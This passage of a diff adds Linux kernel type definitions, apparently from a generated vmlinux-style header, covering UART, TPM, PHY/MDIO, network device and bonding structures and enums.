+ +struct uart_8250_em485 { + struct hrtimer start_tx_timer; + struct hrtimer stop_tx_timer; + struct hrtimer *active_timer; + struct uart_8250_port *port; + unsigned int tx_stopped: 1; +}; + +struct uart_8250_dma { + int (*tx_dma)(struct uart_8250_port *); + int (*rx_dma)(struct uart_8250_port *); + void (*prepare_tx_dma)(struct uart_8250_port *); + void (*prepare_rx_dma)(struct uart_8250_port *); + dma_filter_fn fn; + void *rx_param; + void *tx_param; + struct dma_slave_config rxconf; + struct dma_slave_config txconf; + struct dma_chan *rxchan; + struct dma_chan *txchan; + phys_addr_t rx_dma_addr; + phys_addr_t tx_dma_addr; + dma_addr_t rx_addr; + dma_addr_t tx_addr; + dma_cookie_t rx_cookie; + dma_cookie_t tx_cookie; + void *rx_buf; + size_t rx_size; + size_t tx_size; + unsigned char tx_running; + unsigned char tx_err; + unsigned char rx_running; +}; + +struct dw8250_port_data { + int line; + struct uart_8250_dma dma; + u8 dlf_size; + bool hw_rs485_support; +}; + +struct lpss8250; + +struct lpss8250_board { + long unsigned int freq; + unsigned int base_baud; + int (*setup)(struct lpss8250 *, struct uart_port *); + void (*exit)(struct lpss8250 *); +}; + +struct lpss8250 { + struct dw8250_port_data data; + struct lpss8250_board *board; + struct dw_dma_chip dma_chip; + struct dw_dma_slave dma_param; + u8 dma_maxburst; +}; + +struct hwrng { + const char *name; + int (*init)(struct hwrng *); + void (*cleanup)(struct hwrng *); + int (*data_present)(struct hwrng *, int); + int (*data_read)(struct hwrng *, u32 *); + int (*read)(struct hwrng *, void *, size_t, bool); + long unsigned int priv; + short unsigned int quality; + struct list_head list; + struct kref ref; + struct completion cleanup_done; + struct completion dying; +}; + +enum hash_algo { + HASH_ALGO_MD4 = 0, + HASH_ALGO_MD5 = 1, + HASH_ALGO_SHA1 = 2, + HASH_ALGO_RIPE_MD_160 = 3, + HASH_ALGO_SHA256 = 4, + HASH_ALGO_SHA384 = 5, + HASH_ALGO_SHA512 = 6, + HASH_ALGO_SHA224 = 7, + HASH_ALGO_RIPE_MD_128 = 8, + HASH_ALGO_RIPE_MD_256 = 9, + HASH_ALGO_RIPE_MD_320 = 10, + HASH_ALGO_WP_256 = 11, + HASH_ALGO_WP_384 = 12, + HASH_ALGO_WP_512 = 13, + HASH_ALGO_TGR_128 = 14, + HASH_ALGO_TGR_160 = 15, + HASH_ALGO_TGR_192 = 16, + HASH_ALGO_SM3_256 = 17, + HASH_ALGO_STREEBOG_256 = 18, + HASH_ALGO_STREEBOG_512 = 19, + HASH_ALGO__LAST = 20, +}; + +struct tpm_bank_info { + u16 alg_id; + u16 digest_size; + u16 crypto_id; +}; + +struct tpm_chip; + +struct tpm_class_ops { + unsigned int flags; + const u8 req_complete_mask; + const u8 req_complete_val; + bool (*req_canceled)(struct tpm_chip *, u8); + int (*recv)(struct tpm_chip *, u8 *, size_t); + int (*send)(struct tpm_chip *, u8 *, size_t); + void (*cancel)(struct tpm_chip *); + u8 (*status)(struct tpm_chip *); + void (*update_timeouts)(struct tpm_chip *, long unsigned int *); + void (*update_durations)(struct tpm_chip *, long unsigned int *); + int (*go_idle)(struct tpm_chip *); + int (*cmd_ready)(struct tpm_chip *); + int (*request_locality)(struct tpm_chip *, int); + int (*relinquish_locality)(struct tpm_chip *, int); + void (*clk_enable)(struct tpm_chip *, bool); +}; + +struct tpm_bios_log { + void *bios_event_log; + void *bios_event_log_end; +}; + +struct tpm_chip_seqops { + struct tpm_chip *chip; + const struct seq_operations *seqops; +}; + +struct tpm_space { + u32 context_tbl[3]; + u8 *context_buf; + u32 session_tbl[3]; + u8 *session_buf; + u32 buf_size; +}; + +struct tpm_chip { + struct device dev; + struct device devs; + struct cdev cdev; + struct cdev cdevs; + struct rw_semaphore ops_sem; + const struct tpm_class_ops *ops; + struct tpm_bios_log log; + struct tpm_chip_seqops bin_log_seqops; + struct tpm_chip_seqops ascii_log_seqops; + unsigned int flags; + int dev_num; + long unsigned int is_open; + char hwrng_name[64]; + struct hwrng hwrng; + struct mutex tpm_mutex; + long unsigned int timeout_a; + long unsigned int timeout_b; + long unsigned int timeout_c; + long unsigned int timeout_d; + bool timeout_adjusted; + long unsigned int duration[4]; + bool duration_adjusted; + struct dentry *bios_dir[3]; + const struct attribute_group *groups[8]; + unsigned int groups_cnt; + u32 nr_allocated_banks; + struct tpm_bank_info *allocated_banks; + acpi_handle acpi_dev_handle; + char ppi_version[4]; + struct tpm_space work_space; + u32 last_cc; + u32 nr_commands; + u32 *cc_attrs_tbl; + int locality; +}; + +enum tpm_duration { + TPM_SHORT = 0, + TPM_MEDIUM = 1, + TPM_LONG = 2, + TPM_LONG_LONG = 3, + TPM_UNDEFINED = 4, + TPM_NUM_DURATIONS = 4, +}; + +enum device_link_state { + DL_STATE_NONE = -1, + DL_STATE_DORMANT = 0, + DL_STATE_AVAILABLE = 1, + DL_STATE_CONSUMER_PROBE = 2, + DL_STATE_ACTIVE = 3, + DL_STATE_SUPPLIER_UNBIND = 4, +}; + +struct device_link { + struct device *supplier; + struct list_head s_node; + struct device *consumer; + struct list_head c_node; + struct device link_dev; + enum device_link_state status; + u32 flags; + refcount_t rpm_active; + struct kref kref; + struct work_struct rm_work; + bool supplier_preactivated; +}; + +typedef void * (*devcon_match_fn_t)(const struct fwnode_handle *, const char *, void *); + +enum irqreturn { + IRQ_NONE = 0, + IRQ_HANDLED = 1, + IRQ_WAKE_THREAD = 2, +}; + +typedef enum irqreturn irqreturn_t; + +struct reset_control; + +struct mii_bus; + +struct mdio_device { + struct device dev; + struct mii_bus *bus; + char modalias[32]; + int (*bus_match)(struct device *, struct device_driver *); + void (*device_free)(struct mdio_device *); + void (*device_remove)(struct mdio_device *); + int addr; + int flags; + struct gpio_desc *reset_gpio; + struct reset_control *reset_ctrl; + unsigned int reset_assert_delay; + unsigned int reset_deassert_delay; +}; + +struct phy_c45_device_ids { + u32 devices_in_package; + u32 mmds_present; + u32 device_ids[32]; +}; + +enum phy_state { + PHY_DOWN = 0, + PHY_READY = 1, + PHY_HALTED = 2, + PHY_UP = 3, + PHY_RUNNING = 4, + PHY_NOLINK = 5, + PHY_CABLETEST = 6, +}; + +typedef enum { + PHY_INTERFACE_MODE_NA = 0, + PHY_INTERFACE_MODE_INTERNAL = 1, + PHY_INTERFACE_MODE_MII = 2, + PHY_INTERFACE_MODE_GMII = 3, + PHY_INTERFACE_MODE_SGMII = 4, + PHY_INTERFACE_MODE_TBI = 5, + PHY_INTERFACE_MODE_REVMII = 6, + PHY_INTERFACE_MODE_RMII = 7, + PHY_INTERFACE_MODE_REVRMII = 8, + PHY_INTERFACE_MODE_RGMII = 9, + PHY_INTERFACE_MODE_RGMII_ID = 10, + PHY_INTERFACE_MODE_RGMII_RXID = 11, + PHY_INTERFACE_MODE_RGMII_TXID = 12, + PHY_INTERFACE_MODE_RTBI = 13, + PHY_INTERFACE_MODE_SMII = 14, + PHY_INTERFACE_MODE_XGMII = 15, + PHY_INTERFACE_MODE_XLGMII = 16, + PHY_INTERFACE_MODE_MOCA = 17, + PHY_INTERFACE_MODE_QSGMII = 18, + PHY_INTERFACE_MODE_TRGMII = 19, + PHY_INTERFACE_MODE_100BASEX = 20, + PHY_INTERFACE_MODE_1000BASEX = 21, + PHY_INTERFACE_MODE_2500BASEX = 22, + PHY_INTERFACE_MODE_5GBASER = 23, + PHY_INTERFACE_MODE_RXAUI = 24, + PHY_INTERFACE_MODE_XAUI = 25, + PHY_INTERFACE_MODE_10GBASER = 26, + PHY_INTERFACE_MODE_25GBASER = 27, + PHY_INTERFACE_MODE_USXGMII = 28, + PHY_INTERFACE_MODE_10GKR = 29, + PHY_INTERFACE_MODE_QUSGMII = 30, + PHY_INTERFACE_MODE_1000BASEKX = 31, + PHY_INTERFACE_MODE_MAX = 32, +} phy_interface_t; + +struct phylink; + +struct pse_control; + +struct phy_driver; + +struct phy_package_shared; + +struct mii_timestamper; + +struct phy_device { + struct mdio_device mdio; + struct phy_driver *drv; + struct device_link *devlink; + u32 phy_id; + struct phy_c45_device_ids c45_ids; + unsigned int is_c45: 1; + unsigned int is_internal: 1; + unsigned int is_pseudo_fixed_link: 1; + unsigned int is_gigabit_capable: 1; + unsigned int has_fixups: 1; + unsigned int suspended: 1; + unsigned int suspended_by_mdio_bus: 1; + unsigned int sysfs_links: 1; + unsigned int loopback_enabled: 1; + unsigned int downshifted_rate: 1; + unsigned int is_on_sfp_module: 1; + unsigned int mac_managed_pm: 1; + unsigned int wol_enabled: 1; + unsigned int autoneg: 1; + unsigned int link: 1; + unsigned int autoneg_complete: 1; + unsigned int interrupts: 1; + unsigned int irq_suspended: 1; + unsigned int irq_rerun: 1; + int rate_matching; + enum phy_state state; + u32 dev_flags; + phy_interface_t interface; + int speed; + int duplex; + int port; + int pause; + int asym_pause; + u8 master_slave_get; + u8 master_slave_set; + u8 master_slave_state; + long unsigned int supported[2]; + long unsigned int advertising[2]; + long unsigned int lp_advertising[2]; + long unsigned int adv_old[2]; + long unsigned int supported_eee[2]; + long unsigned int advertising_eee[2]; + bool eee_enabled; + long unsigned int host_interfaces[1]; + u32 eee_broken_modes; + struct list_head leds; + int irq; + void *priv; + struct phy_package_shared *shared; + struct sk_buff *skb; + void *ehdr; + struct nlattr *nest; + struct delayed_work state_queue; + struct mutex lock; + bool sfp_bus_attached; + struct sfp_bus *sfp_bus; + struct phylink *phylink; + struct net_device *attached_dev; + struct mii_timestamper *mii_ts; + struct pse_control *psec; + u8 mdix; + u8 mdix_ctrl; + int pma_extable; + unsigned int link_down_events; + void (*phy_link_change)(struct phy_device *, bool); + void (*adjust_link)(struct net_device *); +}; + +struct phy_plca_cfg { + int version; + int enabled; + int node_id; + int node_cnt; + int to_tmr; + int burst_cnt; + int burst_tmr; +}; + +struct phy_plca_status { + bool pst; +}; + +struct phy_tdr_config { + u32 first; + u32 last; + u32 step; + s8 pair; +}; + +enum led_brightness { + LED_OFF = 0, + LED_ON = 1, + LED_HALF = 127, + LED_FULL = 255, +}; + +struct mdio_bus_stats { + u64_stats_t transfers; + u64_stats_t errors; + u64_stats_t writes; + u64_stats_t reads; + struct u64_stats_sync syncp; +}; + +struct mii_bus { + struct module *owner; + const char *name; + char id[61]; + void *priv; + int (*read)(struct mii_bus *, int, int); + int (*write)(struct mii_bus *, int, int, u16); + int (*read_c45)(struct mii_bus *, int, int, int); + int (*write_c45)(struct mii_bus *, int, int, int, u16); + int (*reset)(struct mii_bus *); + struct mdio_bus_stats stats[32]; + struct mutex mdio_lock; + struct device *parent; + enum { + MDIOBUS_ALLOCATED = 1, + MDIOBUS_REGISTERED = 2, + MDIOBUS_UNREGISTERED = 3, + MDIOBUS_RELEASED = 4, + } state; + struct device dev; + struct mdio_device *mdio_map[32]; + u32 phy_mask; + u32 phy_ignore_ta_mask; + int irq[32]; + int reset_delay_us; + int reset_post_delay_us; + struct gpio_desc *reset_gpiod; + struct mutex shared_lock; + struct phy_package_shared *shared[32]; +}; + +struct mdio_driver_common { + struct device_driver driver; + int flags; +}; + +struct mii_timestamper { + bool (*rxtstamp)(struct mii_timestamper *, struct sk_buff *, int); + void (*txtstamp)(struct mii_timestamper *, struct sk_buff *, int); + int (*hwtstamp)(struct mii_timestamper *, struct ifreq *); + void (*link_state)(struct mii_timestamper *, struct phy_device *); + int (*ts_info)(struct mii_timestamper *, struct ethtool_ts_info *); + struct device *device; +}; + +struct phy_package_shared { + int addr; + refcount_t refcnt; + long unsigned int flags; + size_t priv_size; + void *priv; +}; + +struct phy_driver { + struct mdio_driver_common mdiodrv; + u32 phy_id; + char *name; + u32 phy_id_mask; + const long unsigned int * const features; + u32 flags; + const void *driver_data; + int (*soft_reset)(struct phy_device *); + int (*config_init)(struct phy_device *); + int (*probe)(struct phy_device *); + int (*get_features)(struct phy_device *); + int (*get_rate_matching)(struct phy_device *, phy_interface_t); + int (*suspend)(struct phy_device *); + int (*resume)(struct phy_device *); + int (*config_aneg)(struct phy_device *); + int (*aneg_done)(struct phy_device *); + int (*read_status)(struct phy_device *); + int (*config_intr)(struct phy_device *); + irqreturn_t (*handle_interrupt)(struct phy_device *); + void (*remove)(struct phy_device *); + int (*match_phy_device)(struct phy_device *); + int (*set_wol)(struct phy_device *, struct ethtool_wolinfo *); + void (*get_wol)(struct phy_device *, struct ethtool_wolinfo *); + void (*link_change_notify)(struct phy_device *); + int (*read_mmd)(struct phy_device *, int, u16); + int (*write_mmd)(struct phy_device *, int, u16, u16); + int (*read_page)(struct phy_device *); + int (*write_page)(struct phy_device *, int); + int (*module_info)(struct phy_device *, struct ethtool_modinfo *); + int (*module_eeprom)(struct phy_device *, struct ethtool_eeprom *, u8 *); + int (*cable_test_start)(struct phy_device *); + int (*cable_test_tdr_start)(struct phy_device *, const struct phy_tdr_config *); + int (*cable_test_get_status)(struct phy_device *, bool *); + int (*get_sset_count)(struct phy_device *); + void (*get_strings)(struct phy_device *, u8 *); + void (*get_stats)(struct phy_device *, struct ethtool_stats *, u64 *); + int (*get_tunable)(struct phy_device *, struct ethtool_tunable *, void *); + int (*set_tunable)(struct phy_device *, struct ethtool_tunable *, const void *); + int (*set_loopback)(struct phy_device *, bool); + int (*get_sqi)(struct phy_device *); + int (*get_sqi_max)(struct phy_device *); + int (*get_plca_cfg)(struct phy_device *, struct phy_plca_cfg *); + int (*set_plca_cfg)(struct phy_device *, const struct phy_plca_cfg *); + int (*get_plca_status)(struct phy_device *, struct phy_plca_status *); + int (*led_brightness_set)(struct phy_device *, u8, enum led_brightness); + int (*led_blink_set)(struct phy_device *, u8, long unsigned int *, long unsigned int *); +}; + +enum net_device_flags { + IFF_UP = 1, + IFF_BROADCAST = 2, + IFF_DEBUG = 4, + IFF_LOOPBACK = 8, + IFF_POINTOPOINT = 16, + IFF_NOTRAILERS = 32, + IFF_RUNNING = 64, + IFF_NOARP = 128, + IFF_PROMISC = 256, + IFF_ALLMULTI = 512, + IFF_MASTER = 1024, + IFF_SLAVE = 2048, + IFF_MULTICAST = 4096, + IFF_PORTSEL = 8192, + IFF_AUTOMEDIA = 16384, + IFF_DYNAMIC = 32768, + IFF_LOWER_UP = 65536, + IFF_DORMANT = 131072, + IFF_ECHO = 262144, +}; + +struct ipv4_devconf { + void *sysctl; + int data[33]; + long unsigned int state[1]; +}; + +enum { + NETIF_F_SG_BIT = 0, + NETIF_F_IP_CSUM_BIT = 1, + __UNUSED_NETIF_F_1 = 2, + NETIF_F_HW_CSUM_BIT = 3, + NETIF_F_IPV6_CSUM_BIT = 4, + NETIF_F_HIGHDMA_BIT = 5, + NETIF_F_FRAGLIST_BIT = 6, + NETIF_F_HW_VLAN_CTAG_TX_BIT = 7, + NETIF_F_HW_VLAN_CTAG_RX_BIT = 8, + NETIF_F_HW_VLAN_CTAG_FILTER_BIT = 9, + NETIF_F_VLAN_CHALLENGED_BIT = 10, + NETIF_F_GSO_BIT = 11, + NETIF_F_LLTX_BIT = 12, + NETIF_F_NETNS_LOCAL_BIT = 13, + NETIF_F_GRO_BIT = 14, + NETIF_F_LRO_BIT = 15, + NETIF_F_GSO_SHIFT = 16, + NETIF_F_TSO_BIT = 16, + NETIF_F_GSO_ROBUST_BIT = 17, + NETIF_F_TSO_ECN_BIT = 18, + NETIF_F_TSO_MANGLEID_BIT = 19, + NETIF_F_TSO6_BIT = 20, + NETIF_F_FSO_BIT = 21, + NETIF_F_GSO_GRE_BIT = 22, + NETIF_F_GSO_GRE_CSUM_BIT = 23, + NETIF_F_GSO_IPXIP4_BIT = 24, + NETIF_F_GSO_IPXIP6_BIT = 25, + NETIF_F_GSO_UDP_TUNNEL_BIT = 26, + NETIF_F_GSO_UDP_TUNNEL_CSUM_BIT = 27, + NETIF_F_GSO_PARTIAL_BIT = 28, + NETIF_F_GSO_TUNNEL_REMCSUM_BIT = 29, + NETIF_F_GSO_SCTP_BIT = 30, + NETIF_F_GSO_ESP_BIT = 31, + NETIF_F_GSO_UDP_BIT = 32, + NETIF_F_GSO_UDP_L4_BIT = 33, + NETIF_F_GSO_FRAGLIST_BIT = 34, + NETIF_F_GSO_LAST = 34, + NETIF_F_FCOE_CRC_BIT = 35, + NETIF_F_SCTP_CRC_BIT = 36, + NETIF_F_FCOE_MTU_BIT = 37, + NETIF_F_NTUPLE_BIT = 38, + NETIF_F_RXHASH_BIT = 39, + NETIF_F_RXCSUM_BIT = 40, + NETIF_F_NOCACHE_COPY_BIT = 41, + NETIF_F_LOOPBACK_BIT = 42, + NETIF_F_RXFCS_BIT = 43, + NETIF_F_RXALL_BIT = 44, + NETIF_F_HW_VLAN_STAG_TX_BIT = 45, + NETIF_F_HW_VLAN_STAG_RX_BIT = 46, + NETIF_F_HW_VLAN_STAG_FILTER_BIT = 47, + NETIF_F_HW_L2FW_DOFFLOAD_BIT = 48, + NETIF_F_HW_TC_BIT = 49, + NETIF_F_HW_ESP_BIT = 50, + NETIF_F_HW_ESP_TX_CSUM_BIT = 51, + NETIF_F_RX_UDP_TUNNEL_PORT_BIT = 52, + NETIF_F_HW_TLS_TX_BIT = 53, + NETIF_F_HW_TLS_RX_BIT = 54, + NETIF_F_GRO_HW_BIT = 55, + NETIF_F_HW_TLS_RECORD_BIT = 56, + NETIF_F_GRO_FRAGLIST_BIT = 57, + NETIF_F_HW_MACSEC_BIT = 58, + NETIF_F_GRO_UDP_FWD_BIT = 59, + NETIF_F_HW_HSR_TAG_INS_BIT = 60, + NETIF_F_HW_HSR_TAG_RM_BIT = 61, + NETIF_F_HW_HSR_FWD_BIT = 62, + NETIF_F_HW_HSR_DUP_BIT = 63, + NETDEV_FEATURE_COUNT = 64, +}; + +enum netdev_state_t { + __LINK_STATE_START = 0, + __LINK_STATE_PRESENT = 1, + __LINK_STATE_NOCARRIER = 2, + __LINK_STATE_LINKWATCH_PENDING = 3, + __LINK_STATE_DORMANT = 4, + __LINK_STATE_TESTING = 5, +}; + +enum netdev_priv_flags { + IFF_802_1Q_VLAN = 1ULL, + IFF_EBRIDGE = 2ULL, + IFF_BONDING = 4ULL, + IFF_ISATAP = 8ULL, + IFF_WAN_HDLC = 16ULL, + IFF_XMIT_DST_RELEASE = 32ULL, + IFF_DONT_BRIDGE = 64ULL, + IFF_DISABLE_NETPOLL = 128ULL, + IFF_MACVLAN_PORT = 256ULL, + IFF_BRIDGE_PORT = 512ULL, + IFF_OVS_DATAPATH = 1024ULL, + IFF_TX_SKB_SHARING = 2048ULL, + IFF_UNICAST_FLT = 4096ULL, + IFF_TEAM_PORT = 8192ULL, + IFF_SUPP_NOFCS = 16384ULL, + IFF_LIVE_ADDR_CHANGE = 32768ULL, + IFF_MACVLAN = 65536ULL, + IFF_XMIT_DST_RELEASE_PERM = 131072ULL, + IFF_L3MDEV_MASTER = 262144ULL, + IFF_NO_QUEUE = 524288ULL, + IFF_OPENVSWITCH = 1048576ULL, + IFF_L3MDEV_SLAVE = 2097152ULL, + IFF_TEAM = 4194304ULL, + IFF_RXFH_CONFIGURED = 8388608ULL, + IFF_PHONY_HEADROOM = 16777216ULL, + IFF_MACSEC = 33554432ULL, + IFF_NO_RX_HANDLER = 67108864ULL, + IFF_FAILOVER = 134217728ULL, + IFF_FAILOVER_SLAVE = 268435456ULL, + IFF_L3MDEV_RX_HANDLER = 536870912ULL, + IFF_NO_ADDRCONF = 1073741824ULL, + IFF_TX_SKB_NO_LINEAR = 2147483648ULL, + IFF_CHANGE_PROTO_DOWN = 4294967296ULL, +}; + +struct in_ifaddr; + +struct ip_mc_list; + +struct in_device { + struct net_device *dev; + netdevice_tracker dev_tracker; + refcount_t refcnt; + int dead; + struct in_ifaddr *ifa_list; + struct ip_mc_list *mc_list; + struct ip_mc_list **mc_hash; + int mc_count; + spinlock_t mc_tomb_lock; + struct ip_mc_list *mc_tomb; + long unsigned int mr_v1_seen; + long unsigned int mr_v2_seen; + long unsigned int mr_maxdelay; + long unsigned int mr_qi; + long unsigned int mr_qri; + unsigned char mr_qrv; + unsigned char mr_gq_running; + u32 mr_ifc_count; + struct timer_list mr_gq_timer; + struct timer_list mr_ifc_timer; + struct neigh_parms *arp_parms; + struct ipv4_devconf cnf; + struct callback_head callback_head; +}; + +enum netdev_cmd { + NETDEV_UP = 1, + NETDEV_DOWN = 2, + NETDEV_REBOOT = 3, + NETDEV_CHANGE = 4, + NETDEV_REGISTER = 5, + NETDEV_UNREGISTER = 6, + NETDEV_CHANGEMTU = 7, + NETDEV_CHANGEADDR = 8, + NETDEV_PRE_CHANGEADDR = 9, + NETDEV_GOING_DOWN = 10, + NETDEV_CHANGENAME = 11, + NETDEV_FEAT_CHANGE = 12, + NETDEV_BONDING_FAILOVER = 13, + NETDEV_PRE_UP = 14, + NETDEV_PRE_TYPE_CHANGE = 15, + NETDEV_POST_TYPE_CHANGE = 16, + NETDEV_POST_INIT = 17, + NETDEV_PRE_UNINIT = 18, + NETDEV_RELEASE = 19, + NETDEV_NOTIFY_PEERS = 20, + NETDEV_JOIN = 21, + NETDEV_CHANGEUPPER = 22, + NETDEV_RESEND_IGMP = 23, + NETDEV_PRECHANGEMTU = 24, + NETDEV_CHANGEINFODATA = 25, + NETDEV_BONDING_INFO = 26, + NETDEV_PRECHANGEUPPER = 27, + NETDEV_CHANGELOWERSTATE = 28, + NETDEV_UDP_TUNNEL_PUSH_INFO = 29, + NETDEV_UDP_TUNNEL_DROP_INFO = 30, + NETDEV_CHANGE_TX_QUEUE_LEN = 31, + NETDEV_CVLAN_FILTER_PUSH_INFO = 32, + NETDEV_CVLAN_FILTER_DROP_INFO = 33, + NETDEV_SVLAN_FILTER_PUSH_INFO = 34, + NETDEV_SVLAN_FILTER_DROP_INFO = 35, + NETDEV_OFFLOAD_XSTATS_ENABLE = 36, + NETDEV_OFFLOAD_XSTATS_DISABLE = 37, + NETDEV_OFFLOAD_XSTATS_REPORT_USED = 38, + NETDEV_OFFLOAD_XSTATS_REPORT_DELTA = 39, + NETDEV_XDP_FEAT_CHANGE = 40, +}; + +struct in_ifaddr { + struct hlist_node hash; + struct in_ifaddr *ifa_next; + struct in_device *ifa_dev; + struct callback_head callback_head; + __be32 ifa_local; + __be32 ifa_address; + __be32 ifa_mask; + __u32 ifa_rt_priority; + __be32 ifa_broadcast; + unsigned char ifa_scope; + unsigned char ifa_prefixlen; + unsigned char ifa_proto; + __u32 ifa_flags; + char ifa_label[16]; + __u32 ifa_valid_lft; + __u32 ifa_preferred_lft; + long unsigned int ifa_cstamp; + long unsigned int ifa_tstamp; +}; + +struct reciprocal_value { + u32 m; + u8 sh1; + u8 sh2; +}; + +struct mac_addr { + u8 mac_addr_value[6]; +}; + +enum { + BOND_AD_STABLE = 0, + BOND_AD_BANDWIDTH = 1, + BOND_AD_COUNT = 2, +}; + +typedef enum { + AD_RX_DUMMY = 0, + AD_RX_INITIALIZE = 1, + AD_RX_PORT_DISABLED = 2, + AD_RX_LACP_DISABLED = 3, + AD_RX_EXPIRED = 4, + AD_RX_DEFAULTED = 5, + AD_RX_CURRENT = 6, +} rx_states_t; + +typedef enum { + AD_PERIODIC_DUMMY = 0, + AD_NO_PERIODIC = 1, + AD_FAST_PERIODIC = 2, + AD_SLOW_PERIODIC = 3, + AD_PERIODIC_TX = 4, +} periodic_states_t; + +typedef enum { + AD_MUX_DUMMY = 0, + AD_MUX_DETACHED = 1, + AD_MUX_WAITING = 2, + AD_MUX_ATTACHED = 3, + AD_MUX_COLLECTING_DISTRIBUTING = 4, +} mux_states_t; + +typedef enum { + AD_TX_DUMMY = 0, + AD_TRANSMIT = 1, +} tx_states_t; + +typedef enum { + AD_CHURN_MONITOR = 0, + AD_CHURN = 1, + AD_NO_CHURN = 2, +} churn_state_t; + +struct lacpdu { + u8 subtype; + u8 version_number; + u8 tlv_type_actor_info; + u8 actor_information_length; + __be16 actor_system_priority; + struct mac_addr actor_system; + __be16 actor_key; + __be16 actor_port_priority; + __be16 actor_port; + u8 actor_state; + u8 reserved_3_1[3]; + u8 tlv_type_partner_info; + u8 partner_information_length; + __be16 partner_system_priority; + struct mac_addr partner_system; + __be16 partner_key; + __be16 partner_port_priority; + __be16 partner_port; + u8 partner_state; + u8 reserved_3_2[3]; + u8 tlv_type_collector_info; + u8 collector_information_length; + __be16 collector_max_delay; + u8 reserved_12[12]; + u8 tlv_type_terminator; + u8 terminator_length; + u8 reserved_50[50]; +}; + +struct bond_3ad_stats { + atomic64_t lacpdu_rx; + atomic64_t lacpdu_tx; + atomic64_t lacpdu_unknown_rx; + atomic64_t lacpdu_illegal_rx; + atomic64_t marker_rx; + atomic64_t marker_tx; + atomic64_t marker_resp_rx; + atomic64_t marker_resp_tx; + atomic64_t marker_unknown_rx; +}; + +struct port; + +struct slave; + +struct aggregator { + struct mac_addr aggregator_mac_address; + u16 aggregator_identifier; + bool is_individual; + u16 actor_admin_aggregator_key; + u16 actor_oper_aggregator_key; + struct mac_addr partner_system; + u16 partner_system_priority; + u16 partner_oper_aggregator_key; + u16 receive_state; + u16 transmit_state; + struct port *lag_ports; + struct slave *slave; + u16 is_active; + u16 num_of_ports; +}; + +struct port_params { + struct mac_addr system; + u16 system_priority; + u16 key; + u16 port_number; + u16 port_priority; + u16 port_state; +}; + +struct port { + u16 actor_port_number; + u16 actor_port_priority; + struct mac_addr actor_system; + u16 actor_system_priority; + u16 actor_port_aggregator_identifier; + bool ntt; + u16 actor_admin_port_key; + u16 actor_oper_port_key; + u8 actor_admin_port_state; + u8 actor_oper_port_state; + struct port_params partner_admin; + struct port_params partner_oper; + bool is_enabled; + u16 sm_vars; + rx_states_t sm_rx_state; + u16 sm_rx_timer_counter; + periodic_states_t sm_periodic_state; + u16 sm_periodic_timer_counter; + mux_states_t sm_mux_state; + u16 sm_mux_timer_counter; + tx_states_t sm_tx_state; + u16 sm_tx_timer_counter; + u16 sm_churn_actor_timer_counter; + u16 sm_churn_partner_timer_counter; + u32 churn_actor_count; + u32 churn_partner_count; + churn_state_t sm_churn_actor_state; + churn_state_t sm_churn_partner_state; + struct slave *slave; + struct aggregator *aggregator; + struct port *next_port_in_aggregator; + u32 transaction_id; + struct lacpdu lacpdu; +}; + +struct tlb_slave_info { + u32 head; + u32 load; +}; + +struct bonding; + +struct ad_slave_info; + +struct slave { + struct net_device *dev; + struct bonding *bond; + int delay; + long unsigned int last_link_up; + long unsigned int last_tx; + long unsigned int last_rx; + long unsigned int target_last_arp_rx[16]; + s8 link; + s8 link_new_state; + u8 backup: 1; + u8 inactive: 1; + u8 should_notify: 1; + u8 should_notify_link: 1; + u8 duplex; + u32 original_mtu; + u32 link_failure_count; + u32 speed; + u16 queue_id; + u8 perm_hwaddr[32]; + int prio; + struct ad_slave_info *ad_info; + struct tlb_slave_info tlb_info; + struct delayed_work notify_work; + struct kobject kobj; + struct rtnl_link_stats64 slave_stats; +}; + +struct ad_system { + u16 sys_priority; + struct mac_addr sys_mac_addr; +}; + +struct ad_bond_info { + struct ad_system system; + struct bond_3ad_stats stats; + atomic_t agg_select_timer; + u16 aggregator_identifier; +}; + +struct ad_slave_info { + struct aggregator aggregator; + struct port port; + struct bond_3ad_stats stats; + u16 id; +}; + +struct tlb_client_info { + struct slave *tx_slave; + u32 tx_bytes; + u32 load_history; + u32 next; + u32 prev; +}; + +struct rlb_client_info { + __be32 ip_src; + __be32 ip_dst; + u8 mac_src[6]; + u8 mac_dst[6]; + u32 used_next; + u32 used_prev; + u32 src_next; + u32 src_prev; + u32 src_first; + u8 assigned; + u8 ntt; + struct slave *slave; + short unsigned int vlan_id; +}; + +struct alb_bond_info { + struct tlb_client_info *tx_hashtbl; + u32 unbalanced_load; + atomic_t tx_rebalance_counter; + int lp_counter; + int rlb_enabled; + struct rlb_client_info *rx_hashtbl; + u32 rx_hashtbl_used_head; + u8 rx_ntt; + struct slave *rx_slave; + u8 primary_is_promisc; + u32 rlb_promisc_timeout_counter; + u32 rlb_update_delay_counter; + u32 rlb_update_retry_counter; + u8 rlb_rebalance; +}; + +enum { + BOND_OPTFLAG_NOSLAVES = 1, + BOND_OPTFLAG_IFDOWN = 2, + BOND_OPTFLAG_RAWVAL = 4, +}; + +enum { + BOND_VALFLAG_DEFAULT = 1, + BOND_VALFLAG_MIN = 2, + BOND_VALFLAG_MAX = 4, +}; + +enum { + BOND_OPT_MODE = 0, + BOND_OPT_PACKETS_PER_SLAVE = 1, + BOND_OPT_XMIT_HASH = 2, + BOND_OPT_ARP_VALIDATE = 3, + BOND_OPT_ARP_ALL_TARGETS = 4, + BOND_OPT_FAIL_OVER_MAC = 5, + BOND_OPT_ARP_INTERVAL = 6, + BOND_OPT_ARP_TARGETS = 7, + BOND_OPT_DOWNDELAY = 8, + BOND_OPT_UPDELAY = 9, + BOND_OPT_LACP_RATE = 10, + BOND_OPT_MINLINKS = 11, + BOND_OPT_AD_SELECT = 12, + BOND_OPT_NUM_PEER_NOTIF = 13, + BOND_OPT_MIIMON = 14, + BOND_OPT_PRIMARY = 15, + BOND_OPT_PRIMARY_RESELECT = 16, + BOND_OPT_USE_CARRIER = 17, + BOND_OPT_ACTIVE_SLAVE = 18, + BOND_OPT_QUEUE_ID = 19, + BOND_OPT_ALL_SLAVES_ACTIVE = 20, + BOND_OPT_RESEND_IGMP = 21, + BOND_OPT_LP_INTERVAL = 22, + BOND_OPT_SLAVES = 23, + BOND_OPT_TLB_DYNAMIC_LB = 24, + BOND_OPT_AD_ACTOR_SYS_PRIO = 25, + BOND_OPT_AD_ACTOR_SYSTEM = 26, + BOND_OPT_AD_USER_PORT_KEY = 27, + BOND_OPT_NUM_PEER_NOTIF_ALIAS = 28, + BOND_OPT_PEER_NOTIF_DELAY = 29, + BOND_OPT_LACP_ACTIVE = 30, + BOND_OPT_MISSED_MAX = 31, + BOND_OPT_NS_TARGETS = 32, + BOND_OPT_PRIO = 33, + 